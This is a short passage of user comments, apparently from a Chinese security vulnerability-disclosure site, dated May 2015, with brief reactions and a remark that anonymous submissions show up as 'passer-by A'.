  19. 2015-05-17 22:03 | H.A.R.R.P ( 路人 | Rank:6 漏洞数:2 | null)

    碉堡

  20. 2015-05-17 23:41 | 金枪银矛小霸王 ( 普通白帽子 | Rank:103 漏洞数:25 | 不会挖洞洞的猿猿不是好学生)

    .........

  21. 2015-05-19 10:58 | fj543 ( 路人 | Rank:2 漏洞数:1 | 职业挨踢民工!信息安全研究人员。)

    @第四维度 匿名发布的,未注册直接发布的,都是路人甲呀。